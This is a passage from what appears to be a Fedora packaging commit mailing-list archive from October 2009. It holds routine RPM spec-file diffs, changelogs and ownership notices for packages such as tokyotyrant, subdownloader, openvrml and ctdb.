%config(noreplace) %{_sysconfdir}/sysconfig/%{name}
%{_bindir}/t*
%{_datadir}/%{name}
%{_initddir}/%{name}
%attr(0755,tokyotyrant,tokyotyrant) %dir %{_localstatedir}/log/%{name}
%attr(0755,tokyotyrant,tokyotyrant) %dir %{_localstatedir}/run/%{name}
%{_mandir}/man1/t*.gz
%{_mandir}/man8/t*.gz
%attr(0755,tokyotyrant,tokyotyrant) %dir %{_sharedstatedir}/%{name}

%files libs
%defattr(-,root,root,-)
%doc COPYING README THANKS
%{_libdir}/%{name}
%{_libdir}/lib%{name}.so.*

%files devel
%defattr(-,root,root,-)
%{_includedir}/t*.h
%{_libdir}/libtokyotyrant.so
%{_libdir}/pkgconfig/%{name}.pc
%{_mandir}/man3/t*.gz

%changelog
* Wed Oct 07 2009 Silas Sewell <silas at sewell.ch> - 1.1.35-1
- Update to 1.1.35

* Mon Sep 07 2009 Silas Sewell <silas at sewell.ch> - 1.1.34-1
- Update to 1.1.34

* Fri Aug 21 2009 Silas Sewell <silas at sewell.ch> - 1.1.33-5
- Fix url

* Thu Aug 20 2009 Silas Sewell <silas at sewell.ch> - 1.1.33-4
- Add requires tokyocabinet to tokyotyrant.pc

* Tue Aug 18 2009 Silas Sewell <silas at sewell.ch> - 1.1.33-3
- Add tokyocabinet to tokyotyrant.pc
- More spec fixes

* Sun Aug 16 2009 Silas Sewell <silas at sewell.ch> - 1.1.33-2
- Various spec fixes

* Tue Aug 11 2009 Silas Sewell <silas at sewell.ch> - 1.1.33-1
- Initial package


--- NEW FILE tokyotyrant.sysconfig ---
# Configuration settings for Tokyo Tyrant.

PORT="1978"
THREADS="8"
TIMEOUT="0"
OPTIONS=""

# Hash database (default)
DATABASE="$basedir/casket.tch#bnum=1000000"
# B+ tree database
#DATABASE="$basedir/casket.tcb#bnum=1000000"
# Table database
#DATABASE="$basedir/casket.tct#bnum=1000000"


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tokyotyrant/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	24 Aug 2009 19:53:21 -0000	1.1
+++ .cvsignore	14 Oct 2009 05:38:40 -0000	1.2
@@ -0,0 +1 @@
+tokyotyrant-1.1.35.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tokyotyrant/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	24 Aug 2009 19:53:21 -0000	1.1
+++ sources	14 Oct 2009 05:38:40 -0000	1.2
@@ -0,0 +1 @@
+6d8953558c2b50f4680b58233abdb41e  tokyotyrant-1.1.35.tar.gz



From pkgdb at fedoraproject.org  Wed Oct 14 05:39:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 14 Oct 2009 05:39:49 +0000
Subject: [pkgdb] ibus-m17n ownership updated
Message-ID: <20091014053949.F06CB10F8A4@bastion2.fedora.phx.redhat.com>

Package ibus-m17n in Fedora 11 is now owned by phuang

To make changes to this package see:
  /pkgdb/packages/name/ibus-m17n



From pkgdb at fedoraproject.org  Wed Oct 14 05:39:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 14 Oct 2009 05:39:56 +0000
Subject: [pkgdb] ibus-m17n ownership updated
Message-ID: <20091014053956.DAF1310F8A8@bastion2.fedora.phx.redhat.com>

Package ibus-m17n in Fedora 12 is now owned by phuang

To make changes to this package see:
  /pkgdb/packages/name/ibus-m17n



From pkgdb at fedoraproject.org  Wed Oct 14 05:40:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 14 Oct 2009 05:40:05 +0000
Subject: [pkgdb] ibus-m17n ownership updated
Message-ID: <20091014054005.BBC0610F882@bastion2.fedora.phx.redhat.com>

Package ibus-m17n in Fedora devel is now owned by phuang

To make changes to this package see:
  /pkgdb/packages/name/ibus-m17n



From pkgdb at fedoraproject.org  Wed Oct 14 05:41:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 14 Oct 2009 05:41:23 +0000
Subject: [pkgdb] ibus-m17n ownership updated
Message-ID: <20091014054124.2045C10F875@bastion2.fedora.phx.redhat.com>

Package ibus-m17n in Fedora 10 is now owned by phuang

To make changes to this package see:
  /pkgdb/packages/name/ibus-m17n



From pravins at fedoraproject.org  Wed Oct 14 05:43:10 2009
From: pravins at fedoraproject.org (Pravin Satpute)
Date: Wed, 14 Oct 2009 05:43:10 +0000 (UTC)
Subject: rpms/smc-fonts/devel smc-fonts.spec,1.9,1.10
Message-ID: <20091014054310.4858F11C00E5@cvs1.fedora.phx.redhat.com>

Author: pravins

Update of /cvs/pkgs/rpms/smc-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6429

Modified Files:
	smc-fonts.spec 
Log Message:
* Wed Oct 14 2009 Pravin Satpute <psatpute at redhat.com> 04.2-2
- bugfix 523454



Index: smc-fonts.spec
===================================================================
RCS file: /cvs/pkgs/rpms/smc-fonts/devel/smc-fonts.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- smc-fonts.spec	18 Aug 2009 15:46:31 -0000	1.9
+++ smc-fonts.spec	14 Oct 2009 05:43:10 -0000	1.10
@@ -8,7 +8,7 @@ traditional and new Malayalam Script.
 
 Name:		%{fontname}-fonts
 Version:	04.2
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	Open Type Fonts for Malayalam script
 Group:		User Interface/X
 License:	GPLv3+ with exceptions and GPLv2+ with exceptions and GPLv2+ and  GPLv2
@@ -17,6 +17,7 @@ Source:		http://download.savannah.nongnu
 BuildArch:	noarch
 BuildRequires:	fontpackages-devel > 1.13
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+Patch1: bug-523454.patch
 
 %description
 %common_desc
@@ -126,6 +127,7 @@ traditional Malayalam Scripts.
 
 %prep
 %setup -q -n malayalam-fonts-04
+%patch1 -p1 -b .1-conffile
 
 %build
 echo "Nothing to do in Build."
@@ -152,6 +154,9 @@ rm -fr %{buildroot}
 %dir %{_fontdir}
 
 %changelog
+* Wed Oct 14 2009 Pravin Satpute <psatpute at redhat.com> 04.2-2
+- bugfix 523454
+
 * Tue Aug 18 2009 Rajeesh K Nambiar <rajeeshknambiar at gmail.com> 04.2-1
 - bugfix 484536 for Meera
 



From pravins at fedoraproject.org  Wed Oct 14 05:46:36 2009
From: pravins at fedoraproject.org (Pravin Satpute)
Date: Wed, 14 Oct 2009 05:46:36 +0000 (UTC)
Subject: rpms/smc-fonts/devel bug-523454.patch,NONE,1.1
Message-ID: <20091014054636.8306B11C00E5@cvs1.fedora.phx.redhat.com>

Author: pravins

Update of /cvs/pkgs/rpms/smc-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7130

Added Files:
	bug-523454.patch 
Log Message:
added patch

bug-523454.patch:
 malayalam-fonts.conf |    2 --
 1 file changed, 2 deletions(-)

--- NEW FILE bug-523454.patch ---
diff -rup malayalam-fonts-04/malayalam-fonts.conf malayalam-fonts-04_mod/malayalam-fonts.conf
--- malayalam-fonts-04/malayalam-fonts.conf	2008-06-30 00:46:25.000000000 +0530
+++ malayalam-fonts-04_mod/malayalam-fonts.conf	2009-10-12 16:30:00.000000000 +0530
@@ -32,13 +32,11 @@
 		<string>Meera</string>
 	</test>
 	<edit name="matrix" mode="assign">
-		<times>
 			<name>matrix</name>
 			<matrix>
 				<double>1.2</double><double>0</double>
 				<double>0</double><double>1.2</double>
 			</matrix>
-		</times>
 	</edit>
 </match>
 



From hpejakle at fedoraproject.org  Wed Oct 14 06:46:02 2009
From: hpejakle at fedoraproject.org (Jan Klepek)
Date: Wed, 14 Oct 2009 06:46:02 +0000 (UTC)
Subject: rpms/subdownloader/F-12 subdownloader.spec,1.9,1.10
Message-ID: <20091014064602.4884211C0264@cvs1.fedora.phx.redhat.com>

Author: hpejakle

Update of /cvs/pkgs/rpms/subdownloader/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21263/F-12

Modified Files:
	subdownloader.spec 
Log Message:
bugfix for desktop file and locale handling


Index: subdownloader.spec
===================================================================
RCS file: /cvs/pkgs/rpms/subdownloader/F-12/subdownloader.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- subdownloader.spec	27 Sep 2009 07:34:47 -0000	1.9
+++ subdownloader.spec	14 Oct 2009 06:46:01 -0000	1.10
@@ -2,7 +2,7 @@
 
 Name:		subdownloader
 Version:	2.0.9.3
-Release:	4%{?dist}
+Release:	5%{?dist}
 Summary:	Program for download/upload subtitles for videofiles and DVDs
 
 Group:		Applications/Multimedia
@@ -30,6 +30,9 @@ sed -i 's/#\!\/usr\/bin\/env python//g' 
 sed -i 's/#\!\/usr\/bin\/env python//g' modules/*.py
 sed -i 's/#\!\/usr\/bin\/python//g' modules/*.py
 sed -i 's/#\!\/usr\/bin\/env python//g' gui/*.py
+sed -i 's#/usr/share/subdownloader#%{python_sitelib}/%{name}#g' subdownloader.desktop
+# submitted as bugreport 361416
+sed -i 's#/usr/share/subdownloader#%{python_sitelib}/%{name}#g' gui/main.py
 
 %build
 
@@ -72,6 +75,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pixmaps/%{name}.xpm
 
 %changelog
+* Wed Oct 07 2009 jan.klepek at hp.com - 2.0.9.3-5
+- fixed desktop file and locale handling
+
 * Sun Sep 27 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 2.0.9.3-4
 - Update desktop file according to F-12 FedoraStudio feature
 



From hpejakle at fedoraproject.org  Wed Oct 14 06:46:02 2009
From: hpejakle at fedoraproject.org (Jan Klepek)
Date: Wed, 14 Oct 2009 06:46:02 +0000 (UTC)
Subject: rpms/subdownloader/F-11 subdownloader.spec,1.1,1.2
Message-ID: <20091014064602.4452011C00E5@cvs1.fedora.phx.redhat.com>

Author: hpejakle

Update of /cvs/pkgs/rpms/subdownloader/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21263/F-11

Modified Files:
	subdownloader.spec 
Log Message:
bugfix for desktop file and locale handling


Index: subdownloader.spec
===================================================================
RCS file: /cvs/pkgs/rpms/subdownloader/F-11/subdownloader.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- subdownloader.spec	11 Apr 2009 09:51:11 -0000	1.1
+++ subdownloader.spec	14 Oct 2009 06:46:00 -0000	1.2
@@ -2,7 +2,7 @@
 
 Name:		subdownloader
 Version:	2.0.9.3
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	Program for download/upload subtitles for videofiles and DVDs
 
 Group:		Applications/Multimedia
@@ -30,6 +30,9 @@ sed -i 's/#\!\/usr\/bin\/env python//g' 
 sed -i 's/#\!\/usr\/bin\/env python//g' modules/*.py
 sed -i 's/#\!\/usr\/bin\/python//g' modules/*.py
 sed -i 's/#\!\/usr\/bin\/env python//g' gui/*.py
+sed -i 's#/usr/share/subdownloader#%{python_sitelib}/%{name}#g' subdownloader.desktop
+# submitted as bugreport 361416
+sed -i 's#/usr/share/subdownloader#%{python_sitelib}/%{name}#g' gui/main.py
 
 %build
 
@@ -71,5 +74,8 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pixmaps/%{name}.xpm
 
 %changelog
+* Wed Oct 7 2009 Jan Klepek <jan.klepek at, hp.com> 2.0.9.3-2
+- fixed desktop file and locale handling
+
 * Mon Mar 16 2009 Jan Klepek <jan.klepek at, hp.com> 2.0.9.3-1
 - initial version of rpm package



From hpejakle at fedoraproject.org  Wed Oct 14 06:46:02 2009
From: hpejakle at fedoraproject.org (Jan Klepek)
Date: Wed, 14 Oct 2009 06:46:02 +0000 (UTC)
Subject: rpms/subdownloader/devel subdownloader.spec,1.9,1.10
Message-ID: <20091014064602.4C9A311C0296@cvs1.fedora.phx.redhat.com>

Author: hpejakle

Update of /cvs/pkgs/rpms/subdownloader/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21263/devel

Modified Files:
	subdownloader.spec 
Log Message:
bugfix for desktop file and locale handling


Index: subdownloader.spec
===================================================================
RCS file: /cvs/pkgs/rpms/subdownloader/devel/subdownloader.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- subdownloader.spec	27 Sep 2009 07:34:47 -0000	1.9
+++ subdownloader.spec	14 Oct 2009 06:46:01 -0000	1.10
@@ -2,7 +2,7 @@
 
 Name:		subdownloader
 Version:	2.0.9.3
-Release:	4%{?dist}
+Release:	5%{?dist}
 Summary:	Program for download/upload subtitles for videofiles and DVDs
 
 Group:		Applications/Multimedia
@@ -30,6 +30,9 @@ sed -i 's/#\!\/usr\/bin\/env python//g' 
 sed -i 's/#\!\/usr\/bin\/env python//g' modules/*.py
 sed -i 's/#\!\/usr\/bin\/python//g' modules/*.py
 sed -i 's/#\!\/usr\/bin\/env python//g' gui/*.py
+sed -i 's#/usr/share/subdownloader#%{python_sitelib}/%{name}#g' subdownloader.desktop
+# submitted as bugreport 361416
+sed -i 's#/usr/share/subdownloader#%{python_sitelib}/%{name}#g' gui/main.py
 
 %build
 
@@ -72,6 +75,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pixmaps/%{name}.xpm
 
 %changelog
+* Wed Oct 07 2009 jan.klepek at hp.com - 2.0.9.3-5
+- fixed desktop file and locale handling
+
 * Sun Sep 27 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 2.0.9.3-4
 - Update desktop file according to F-12 FedoraStudio feature
 



From denis at fedoraproject.org  Wed Oct 14 07:02:07 2009
From: denis at fedoraproject.org (Denis Leroy)
Date: Wed, 14 Oct 2009 07:02:07 +0000 (UTC)
Subject: rpms/galeon/devel galeon.spec,1.65,1.66
Message-ID: <20091014070207.830E611C00E5@cvs1.fedora.phx.redhat.com>

Author: denis

Update of /cvs/pkgs/rpms/galeon/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24324

Modified Files:
	galeon.spec 
Log Message:
Reenabled plugins patch


Index: galeon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/galeon/devel/galeon.spec,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- galeon.spec	13 Oct 2009 07:21:42 -0000	1.65
+++ galeon.spec	14 Oct 2009 07:02:05 -0000	1.66
@@ -3,12 +3,12 @@
 Summary:	GNOME2 Web browser based on Mozilla
 Name:		galeon
 Version:	2.0.7
-Release:	17%{?dist}
+Release:	18%{?dist}
 License:	GPLv2+
 Group:		Applications/Internet
 URL:		http://galeon.sourceforge.net/
 Source0:	http://download.sourceforge.net/galeon/%{name}-%{version}%{?extraversion}.tar.bz2
-#Patch0:        galeon-2.0.7-plugins.patch
+Patch0:        galeon-2.0.7-plugins.patch
 Patch1:		galeon-2.0.7-confignspr.patch
 Patch2:		galeon-2.0.7-gtkprint.patch
 Patch3:		galeon-2.0.7-dfltfont.patch
@@ -49,7 +49,7 @@ makes sense. Galeon was written to do ju
 
 %prep
 %setup -q -n %{name}-%{version}%{?extraversion}
-#%patch0 -p1 -b .plugins
+%patch0 -p1 -b .plugins
 %patch2 -p1 -b .gtkprint
 %patch1 -p1 -b .confignspr
 %patch3 -p1 -b .dfltfont
@@ -133,6 +133,9 @@ update-desktop-database > /dev/null 2>&1
 
 
 %changelog
+* Wed Oct 14 2009 Denis Leroy <denis at poolshark.org> - 2.0.7-18
+- Reenabled plugins patch
+
 * Tue Oct 13 2009 Denis Leroy <denis at poolshark.org> - 2.0.7-17
 - Fixed plugin patch for #525825
 - Restored VISUALS env variable to work around flash crashes 



From braden at fedoraproject.org  Wed Oct 14 07:24:41 2009
From: braden at fedoraproject.org (Braden McDaniel)
Date: Wed, 14 Oct 2009 07:24:41 +0000 (UTC)
Subject: rpms/openvrml/F-11 openvrml.spec,1.73,1.74
Message-ID: <20091014072441.5AC0811C00E5@cvs1.fedora.phx.redhat.com>

Author: braden

Update of /cvs/pkgs/rpms/openvrml/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29828/F-11

Modified Files:
	openvrml.spec 
Log Message:
Moved jar file and javadoc to openvrml-java subpackage.


Index: openvrml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvrml/F-11/openvrml.spec,v
retrieving revision 1.73
retrieving revision 1.74
diff -u -p -r1.73 -r1.74
--- openvrml.spec	5 Oct 2009 01:46:12 -0000	1.73
+++ openvrml.spec	14 Oct 2009 07:24:39 -0000	1.74
@@ -139,8 +139,6 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %dir %{_datadir}/openvrml
 %dir %{_datadir}/openvrml/component
 %{_datadir}/openvrml/component/*.xml
-%dir %{_datadir}/openvrml/java
-%{_datadir}/openvrml/java/script.jar
 %{_libdir}/libopenvrml.so.*
 %dir %{_libdir}/openvrml
 %dir %{_libdir}/openvrml/node
@@ -162,6 +160,9 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 
 %files java
 %{_libdir}/openvrml/script/java.so
+%dir %{_datadir}/openvrml/java
+%{_datadir}/openvrml/java/script.jar
+%{_javadocdir}/%{name}-%{version}
 
 %post gl -p /sbin/ldconfig
 
@@ -203,9 +204,11 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 
 %files doc
 %doc doc/manual
-%{_javadocdir}/%{name}-%{version}
 
 %changelog
+* Wed Oct 14 2009  Braden McDaniel  <braden at endoframe.com>
+- Moved jar file and javadoc to openvrml-java subpackage.
+
 * Sun Oct 4 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-5
 - Actually remove Java and JavaScript backends from the main package.
 



From braden at fedoraproject.org  Wed Oct 14 07:24:41 2009
From: braden at fedoraproject.org (Braden McDaniel)
Date: Wed, 14 Oct 2009 07:24:41 +0000 (UTC)
Subject: rpms/openvrml/devel openvrml.spec,1.77,1.78
Message-ID: <20091014072441.6551211C0296@cvs1.fedora.phx.redhat.com>

Author: braden

Update of /cvs/pkgs/rpms/openvrml/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29828/devel

Modified Files:
	openvrml.spec 
Log Message:
Moved jar file and javadoc to openvrml-java subpackage.


Index: openvrml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvrml/devel/openvrml.spec,v
retrieving revision 1.77
retrieving revision 1.78
diff -u -p -r1.77 -r1.78
--- openvrml.spec	5 Oct 2009 01:46:12 -0000	1.77
+++ openvrml.spec	14 Oct 2009 07:24:40 -0000	1.78
@@ -139,8 +139,6 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %dir %{_datadir}/openvrml
 %dir %{_datadir}/openvrml/component
 %{_datadir}/openvrml/component/*.xml
-%dir %{_datadir}/openvrml/java
-%{_datadir}/openvrml/java/script.jar
 %{_libdir}/libopenvrml.so.*
 %dir %{_libdir}/openvrml
 %dir %{_libdir}/openvrml/node
@@ -162,6 +160,9 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 
 %files java
 %{_libdir}/openvrml/script/java.so
+%dir %{_datadir}/openvrml/java
+%{_datadir}/openvrml/java/script.jar
+%{_javadocdir}/%{name}-%{version}
 
 %post gl -p /sbin/ldconfig
 
@@ -203,9 +204,11 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 
 %files doc
 %doc doc/manual
-%{_javadocdir}/%{name}-%{version}
 
 %changelog
+* Wed Oct 14 2009  Braden McDaniel  <braden at endoframe.com>
+- Moved jar file and javadoc to openvrml-java subpackage.
+
 * Sun Oct 4 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-7
 - Actually remove Java and JavaScript backends from the main package.
 



From braden at fedoraproject.org  Wed Oct 14 07:24:41 2009
From: braden at fedoraproject.org (Braden McDaniel)
Date: Wed, 14 Oct 2009 07:24:41 +0000 (UTC)
Subject: rpms/openvrml/F-12 openvrml.spec,1.76,1.77
Message-ID: <20091014072441.61B7C11C0264@cvs1.fedora.phx.redhat.com>

Author: braden

Update of /cvs/pkgs/rpms/openvrml/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29828/F-12

Modified Files:
	openvrml.spec 
Log Message:
Moved jar file and javadoc to openvrml-java subpackage.


Index: openvrml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvrml/F-12/openvrml.spec,v
retrieving revision 1.76
retrieving revision 1.77
diff -u -p -r1.76 -r1.77
--- openvrml.spec	5 Oct 2009 04:33:04 -0000	1.76
+++ openvrml.spec	14 Oct 2009 07:24:40 -0000	1.77
@@ -139,8 +139,6 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %dir %{_datadir}/openvrml
 %dir %{_datadir}/openvrml/component
 %{_datadir}/openvrml/component/*.xml
-%dir %{_datadir}/openvrml/java
-%{_datadir}/openvrml/java/script.jar
 %{_libdir}/libopenvrml.so.*
 %dir %{_libdir}/openvrml
 %dir %{_libdir}/openvrml/node
@@ -162,6 +160,9 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 
 %files java
 %{_libdir}/openvrml/script/java.so
+%dir %{_datadir}/openvrml/java
+%{_datadir}/openvrml/java/script.jar
+%{_javadocdir}/%{name}-%{version}
 
 
 %post gl -p /sbin/ldconfig
@@ -204,9 +205,11 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 
 %files doc
 %doc doc/manual
-%{_javadocdir}/%{name}-%{version}
 
 %changelog
+* Wed Oct 14 2009  Braden McDaniel  <braden at endoframe.com>
+- Moved jar file and javadoc to openvrml-java subpackage.
+
 * Mon Oct 5 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-6
 - Separate the Java and JavaScript scripting backends into subpackages.
 



From braden at fedoraproject.org  Wed Oct 14 07:29:26 2009
From: braden at fedoraproject.org (Braden McDaniel)
Date: Wed, 14 Oct 2009 07:29:26 +0000 (UTC)
Subject: rpms/openvrml/F-11 openvrml.spec,1.74,1.75
Message-ID: <20091014072926.BE7A211C00E5@cvs1.fedora.phx.redhat.com>

Author: braden

Update of /cvs/pkgs/rpms/openvrml/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30564/F-11

Modified Files:
	openvrml.spec 
Log Message:
Put openvrml-doc package contents in %{_docdir}/%{name}-%{version}.


Index: openvrml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvrml/F-11/openvrml.spec,v
retrieving revision 1.74
retrieving revision 1.75
diff -u -p -r1.74 -r1.75
--- openvrml.spec	14 Oct 2009 07:24:39 -0000	1.74
+++ openvrml.spec	14 Oct 2009 07:29:26 -0000	1.75
@@ -203,11 +203,12 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %{_datadir}/openvrml-player/ui/openvrml-player.ui
 
 %files doc
-%doc doc/manual
+%{_docdir}/%{name}-%{version}/manual
 
 %changelog
 * Wed Oct 14 2009  Braden McDaniel  <braden at endoframe.com>
 - Moved jar file and javadoc to openvrml-java subpackage.
+- Put openvrml-doc package contents in %%{_docdir}/%%{name}-%%{version}.
 
 * Sun Oct 4 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-5
 - Actually remove Java and JavaScript backends from the main package.



From braden at fedoraproject.org  Wed Oct 14 07:29:27 2009
From: braden at fedoraproject.org (Braden McDaniel)
Date: Wed, 14 Oct 2009 07:29:27 +0000 (UTC)
Subject: rpms/openvrml/F-12 openvrml.spec,1.77,1.78
Message-ID: <20091014072927.0FFBF11C00E5@cvs1.fedora.phx.redhat.com>

Author: braden

Update of /cvs/pkgs/rpms/openvrml/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30564/F-12

Modified Files:
	openvrml.spec 
Log Message:
Put openvrml-doc package contents in %{_docdir}/%{name}-%{version}.


Index: openvrml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvrml/F-12/openvrml.spec,v
retrieving revision 1.77
retrieving revision 1.78
diff -u -p -r1.77 -r1.78
--- openvrml.spec	14 Oct 2009 07:24:40 -0000	1.77
+++ openvrml.spec	14 Oct 2009 07:29:26 -0000	1.78
@@ -204,11 +204,12 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %{_datadir}/openvrml-player/ui/openvrml-player.ui
 
 %files doc
-%doc doc/manual
+%{_docdir}/%{name}-%{version}/manual
 
 %changelog
 * Wed Oct 14 2009  Braden McDaniel  <braden at endoframe.com>
 - Moved jar file and javadoc to openvrml-java subpackage.
+- Put openvrml-doc package contents in %%{_docdir}/%%{name}-%%{version}.
 
 * Mon Oct 5 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-6
 - Separate the Java and JavaScript scripting backends into subpackages.



From braden at fedoraproject.org  Wed Oct 14 07:29:27 2009
From: braden at fedoraproject.org (Braden McDaniel)
Date: Wed, 14 Oct 2009 07:29:27 +0000 (UTC)
Subject: rpms/openvrml/devel openvrml.spec,1.78,1.79
Message-ID: <20091014072927.4D83E11C00E5@cvs1.fedora.phx.redhat.com>

Author: braden

Update of /cvs/pkgs/rpms/openvrml/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30564/devel

Modified Files:
	openvrml.spec 
Log Message:
Put openvrml-doc package contents in %{_docdir}/%{name}-%{version}.


Index: openvrml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvrml/devel/openvrml.spec,v
retrieving revision 1.78
retrieving revision 1.79
diff -u -p -r1.78 -r1.79
--- openvrml.spec	14 Oct 2009 07:24:40 -0000	1.78
+++ openvrml.spec	14 Oct 2009 07:29:27 -0000	1.79
@@ -203,11 +203,12 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %{_datadir}/openvrml-player/ui/openvrml-player.ui
 
 %files doc
-%doc doc/manual
+%{_docdir}/%{name}-%{version}/manual
 
 %changelog
 * Wed Oct 14 2009  Braden McDaniel  <braden at endoframe.com>
 - Moved jar file and javadoc to openvrml-java subpackage.
+- Put openvrml-doc package contents in %%{_docdir}/%%{name}-%%{version}.
 
 * Sun Oct 4 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-7
 - Actually remove Java and JavaScript backends from the main package.



From sbose at fedoraproject.org  Wed Oct 14 07:30:19 2009
From: sbose at fedoraproject.org (sbose)
Date: Wed, 14 Oct 2009 07:30:19 +0000 (UTC)
Subject: rpms/ctdb/devel .cvsignore, 1.11, 1.12 ctdb.spec, 1.14, 1.15 sources,
	1.11, 1.12 ctdb-re_fix.patch, 1.1, NONE
Message-ID: <20091014073019.EE1C411C0296@cvs1.fedora.phx.redhat.com>

Author: sbose

Update of /cvs/pkgs/rpms/ctdb/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30646

Modified Files:
	.cvsignore ctdb.spec sources 
Removed Files:
	ctdb-re_fix.patch 
Log Message:
Update to ctdb version 1.0.96



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ctdb/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	29 Sep 2009 21:01:51 -0000	1.11
+++ .cvsignore	14 Oct 2009 07:30:19 -0000	1.12
@@ -1 +1 @@
-ctdb-1.0.91.tar.bz2
+ctdb-1.0.96.tar.bz2


Index: ctdb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ctdb/devel/ctdb.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- ctdb.spec	29 Sep 2009 21:01:51 -0000	1.14
+++ ctdb.spec	14 Oct 2009 07:30:19 -0000	1.15
@@ -2,7 +2,7 @@
 
 Summary: A Clustered Database based on Samba's Trivial Database (TDB)
 Name: ctdb
-Version: 1.0.91
+Version: 1.0.96
 Release: 1%{?dist}
 License: GPLv3+
 Group: System Environment/Daemons
@@ -132,6 +132,56 @@ fi
 %{_libdir}/pkgconfig/ctdb.pc
 
 %changelog
+* Wed Oct 14 2009 Sumit Bose <sbose at redhat.com> - 1.0.96-1
+ - Update to ctdb version 1.0.96
+
+* Tue Oct 13 2009 : Version 1.0.96
+ - Add more debugging output when eventscripts have trouble. Print a
+   "pstree -p" to the log when scripts have hung.
+ - Update the initscript,  only print the "No reclock file used" warning
+   when we do "service ctdb start", dont also print them for all other
+   actions.
+ - When changing between unhealthy/healthy state, push a request to the
+   recovery master to perform an ip reallocation   instead of waiting for the
+   recovery master to pull and check the state change.
+ - Fix a bug in the new db-priority handling where a pre-.95 recovery master
+   could no longer lock the databases on a post-.95 daemon.
+ - Always create the nfs state directories during the "monitor" event.
+   This makes it easier to configure and enable nfs at runtime.
+ - From Volker, forward-port a simper deadlock avoiding patch from the 1.0.82
+   branch. This is a simpler versionof the "db priority lock order" patch
+   that went into 1.0.95, and will be kept for a few versions until samba
+   has been updated to use the functionality from 1.0.95.
+
+* Mon Oct 12 2009 : Version 1.0.95
+ - Add database priorities. Allow samba to set the priority of databases
+   and lock the databases in priority order during recovery
+   to avoid a deadlock when samba locks one database then blocks indefinitely
+   while waiting for the second databaso to become locked.
+ - Be aggressive and ban nodes where the recovery transaction start call
+   fails.
+
+* Thu Oct 10 2009 : Version 1.0.94
+ - Be very aggressive and quickly ban nodes that can not freeze their databases
+
+* Tue Oct 8 2009 : Version 1.0.93
+ - When adding an ip, make sure to update this assignment on all nodes
+   so it wont show up as -1 on other nodes.
+ - When adding an ip and immediately deleting it, it was possible that
+   the daemon would crash accessing already freed memory.
+   Readjust the memory hierarchy so the destructors are called in the right
+   order.
+ - Add a handshake to the recovery daemon to eliminate some rare cases where
+   addip/delip might cause a recovery to occur.
+ - updated onnode documenation from Martin S
+ - Updates to the natgw eventscript to allow disabling natgw at runtime
+
+* Fri Oct 2 2009 : Version 1.0.92
